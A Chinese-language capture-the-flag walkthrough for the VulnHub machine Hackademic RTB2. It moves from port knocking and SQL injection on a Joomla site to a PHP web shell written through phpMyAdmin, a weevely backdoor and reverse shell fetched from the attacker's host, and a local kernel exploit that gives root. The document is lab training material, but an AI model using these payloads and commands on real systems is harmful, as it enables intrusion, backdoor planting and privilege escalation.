Description
This is the second realistic hackademic challenge (root this box) by mr.pr0n
Download the target and get root.
After all, try to read the contents of the file 'key.txt’? in the root directory.
Enjoy!
Download:https://www.vulnhub.com/entry/hackademic-rtb2,18/
Walkthrough
扫描探测
扫描目标IP
arp-scan -I eth0 -l
nmap扫描开放的端口及服务
nmap -p- -sV 10.0.1.112
目标开放了80端口,666端口被过滤了,是否开放还要进一步确认
访问80端口web服务
用sqlmap跑了一下没有发现sql注入漏洞,弱口令也没有。看了其他人的攻略,这里要用万能密码,而且这个密码是写死在代码里的
username: admin
password: ' or 1=1--'
登陆进来后,在页面源码发现一串URL编码
解码
%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%20%30%64%20%30%61%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%36%39%20%36%65%20%32%37%20%32%30%20%36%66%20%36%65%20%32%30%20%36%38%20%36%35%20%36%31%20%37%36%20%36%35%20%36%65%20%32%37%20%37%33%20%32%30%20%36%34%20%36%66%20%36%66%20%37%32%20%32%30%20%32%65%20%32%65%20%32%30%20%33%61%20%32%39%20%30%64%20%30%61%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%30%64%20%30%61%20%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%0A
url解码—>hex进制
3c 2d 2d 2d 2d 2d 2d 2d 2d 2d 3e 0d 0a 4b 6e 6f 63 6b 20 4b 6e 6f 63 6b 20 4b 6e 6f 63 6b 69 6e 27 20 6f 6e 20 68 65 61 76 65 6e 27 73 20 64 6f 6f 72 20 2e 2e 20 3a 29 0d 0a 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 0d 0a 3c 2d 2d 2d 2d 2d 2d 2d 2d 2d 3e
hex解码—>ascii码
< - - - - - - - - - >
K n o c k K n o c k K n o c k i n ' o n h e a v e n ' s d o o r . . : )
0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 1 0 0 1 1 1 0 1 0 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 1 0 0 1 1 1 0 1 0 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 1 0 0 1 1 1 0 1 0 0 0 1 1 0 0 0 1 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 1
< - - - - - - - - - >
从上面的信息,可以看出可能涉及端口敲门的服务
端口敲门
为了保证设备的安全性,需要对关键开放端口进行保护。端口隐身是最常见的一种保护方式,可以通过端口敲门(Port Knocking,PK)、单包授权(Single Packet Authorization,SPA)等方式实现。
端口敲门就是向服务器一些特定端口按顺序访问,服务器丢弃到发送来的数据并记录刚刚“敲门”顺序,若顺序正确,就会向客户端开放隐身的端口。
参考:https://zhuanlan.zhihu.com/p/382577136
将上面的二进制转换为ascii码
二进制转ascii码网站http://www.ab126.com/goju/1711.html
1 0 0 1 : 1 1 0 1 : 1 0 1 1 : 1 0 0 1
依次访问这些端口
for i in 1001 1101 1011 1001; do nc -z 10.0.1.111 $i; done
这里我们发现了666端口打开了,而且也是web服务
这里可以看到这是一个joomla的CMS,而且版本很老,可以找到很多漏洞
用msf的两个模块可以检测joomla这个CMS
auxiliary/scanner/http/joomla_version
use auxiliary/scanner/http/joomla_plugins
发现这个页面存在sql注入漏洞
这里有一个小bug,就是IP变了,变成10.0.1.113,不知道什么原因
sql注入
用sqlmap测试
sqlmap -u "http://10.0.1.113:666//index.php?option=com_abc&view=abc&letter=AS§ionid=1" --dbs --batch
发现letter字段存在注入
数据库跑出来
密码都被哈希过了,不好破解
下载joomla的配置文件
sqlmap -u "http://10.0.1.113:666//index.php?option=com_abc&view=abc&letter=AS§ionid=1" --file-read="/var/www/configuration.php" --batch
发现数据库账号密码
root:yUtJklM97W
用dirsearch扫描网站目录
dirsearch -u http://10.0.1.113:666/
发现phpmyadmin目录
用刚刚的账号密码登陆
写入shell
写入一个基本的shell
select "<?php system($_GET[\"cmd\"]); ?>" into outfile "/var/www/shell.php"
查看当前网站目录的文件
用weely生成一个shellcode
weevely generate hack123 hack.php
用python开启一个http服务,默认端口8000
python -m SimpleHTTPServer
下载shellcode到靶机
http://10.0.1.113:666/shell.php?cmd=wget%20http://10.0.1.100:8000/hack.php
用weely获取shell
权限不够高。接下就是提权
提权
查看系统内核
www-data@HackademicRTB2:/var/www $ uname -a
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux
选择14814.c,文件位置(/usr/share/exploitdb/exploits/linux/local/14814.c)
由于在kali编译有问题,这里我直接将源码上传到靶机
www-data@HackademicRTB2:/var/www $ cd /tmp
www-data@HackademicRTB2:/tmp $ wget http://10.0.1.100:8000/14814.c
weely反弹一个shell到kali的12344端口
www-data@HackademicRTB2:/tmp $ backdoor_reversetcp 10.0.1.100 12344
编译源码
$ gcc 14814.c -o exp
$ ./exp
id
uid=0(root) gid=0(root)
找到Key.txt文件
base64 -d Key.txt -o decode
file decode
decode: PNG image, 756 x 344, 8-bit/color RGB, non-interlaced
发现是个图片
下载到kali
靶机:nc -l 4444 < decode
kali:nc 10.0.1.113 4444 > decode1
fim decode1 # 查看图片
这样就拿到flag了
|